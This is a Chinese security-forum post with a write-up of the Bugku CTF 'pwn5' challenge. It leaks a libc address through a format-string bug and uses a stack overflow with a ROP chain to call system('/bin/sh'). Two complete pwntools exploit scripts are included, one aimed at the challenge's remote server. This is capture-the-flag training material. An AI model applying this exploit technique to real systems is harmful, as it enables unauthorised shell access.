安全矩阵

 找回密码
 立即注册
搜索
查看: 3037|回复: 0

bugku--pwn5

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-4-2 16:48:27 | 显示全部楼层 |阅读模式


原题链接:https://ctf.bugku.com/challenges#pwn5
附件:



writeup
writeup 链接:https://blog.csdn.net/AcSuccess/article/details/104391287

checksec
  1. [*] '/mnt/hgfs/ubuntu_share/pwn/bugku/human'
  2.     Arch:     amd64-64-little
  3.     RELRO:    Partial RELRO
  4.     Stack:    No canary found
  5.     NX:       NX enabled
  6.     PIE:      No PIE (0x400000)
复制代码

IDA分析



  • 很多同学会发现,自己的IDA上全是字符串的地址,不是汉字
  • 像下面这样



  • 这时可以双击任意一个地址,我用的是byte_400978
  • 然后将一整块地址内容全选,单击右键
  • 就会有相应的汉字,点击就可以进行转换


分析程序
  • 发现两次read,第一次读8个字节,第二次读入0x40个字节(第二次存在栈溢出)
  • printf存在字符串格式化漏洞
  • 断点断在printf处,gdb调试




    在红框处发现了__libc_start_main的地址
    先将其泄露出来,然后查找libc版本
    在栈上是第6个位置,再加上6个寄存器,也就是printf函数的第12个参数,格式化字符串中应该填11
    之后根据libc版本查找system函数和/bin/sh字符串地址进行利用

填写的padding中还必须包括鸽子和真香两个词,不然程序直接exit(0)

    百度告诉我一个字占两个字节,四个字也就是8个字节,但在实际的debug中,却占了12个字节



确定libc版本
  • 使用泄露出地址的最后12位,使用该网站
  • 进行查询偏移


编写Exp
  1. from pwn import *
  2. from LibcSearcher import *

  3. context.log_level = "DEBUG"

  4. sh = process("human")
  5. #sh = remote("114.116.54.89", 10005)

  6. payload = "%11$p"

  7. sh.recv()

  8. sh.sendline(payload)

  9. #sh.recvline()

  10. #print sh.recv()

  11. libc_addr = sh.recvline()

  12. #print "asdasd:" + libc_addr

  13. libc_addr = int(libc_addr[2:14],16)

  14. print "libc_main_start_addr is:" + hex(libc_addr)

  15. #libc = LibcSearcher("__libc_start_main", libc_addr)

  16. #libc_base = libc_addr - libc.dump("__libc_start_main")

  17. libc_base = libc_addr - 0x020830

  18. system_addr = libc_base + 0x045390

  19. binsh_addr = libc_base + 0x18cd57

  20. gezi = "鸽子"

  21. zhenxiang = "真香"

  22. pop_addr = 0x0000000000400933

  23. payload = gezi + zhenxiang + 'a' * 28 + p64(pop_addr) + p64(binsh_addr) + p64(system_addr)

  24. sh.recvuntil("人类还有什么本质?")

  25. sh.sendline(payload)

  26. sh.interactive()

复制代码

注意
  • 服务器端IO和本地IO之间可能有区别
  • 我在本地打得通,但服务器就打不通了
  • 原因是服务器比本地多发送了一个回车字符
  • 多写一个recv(1)就好了


  1. from pwn import *
  2. from LibcSearcher import *

  3. context.log_level = "DEBUG"

  4. #sh = process("human")
  5. sh = remote("114.116.54.89", 10005)

  6. payload = "%11$p"

  7. sh.recv()

  8. sh.sendline(payload)

  9. sh.recv(1)

  10. #print sh.recv()

  11. libc_addr = sh.recvline()

  12. #print "asdasd:" + libc_addr

  13. libc_addr = int(libc_addr[2:14],16)

  14. print "libc_main_start_addr is:" + hex(libc_addr)

  15. #libc = LibcSearcher("__libc_start_main", libc_addr)

  16. #libc_base = libc_addr - libc.dump("__libc_start_main")

  17. libc_base = libc_addr - 0x020830

  18. system_addr = libc_base + 0x045390

  19. binsh_addr = libc_base + 0x18cd57

  20. gezi = "鸽子"

  21. zhenxiang = "真香"

  22. pop_addr = 0x0000000000400933

  23. payload = gezi + zhenxiang + 'a' * 28 + p64(pop_addr) + p64(binsh_addr) + p64(system_addr)

  24. sh.recvuntil("人类还有什么本质?")

  25. sh.sendline(payload)

  26. sh.interactive()
复制代码





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:27 , Processed in 0.016921 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表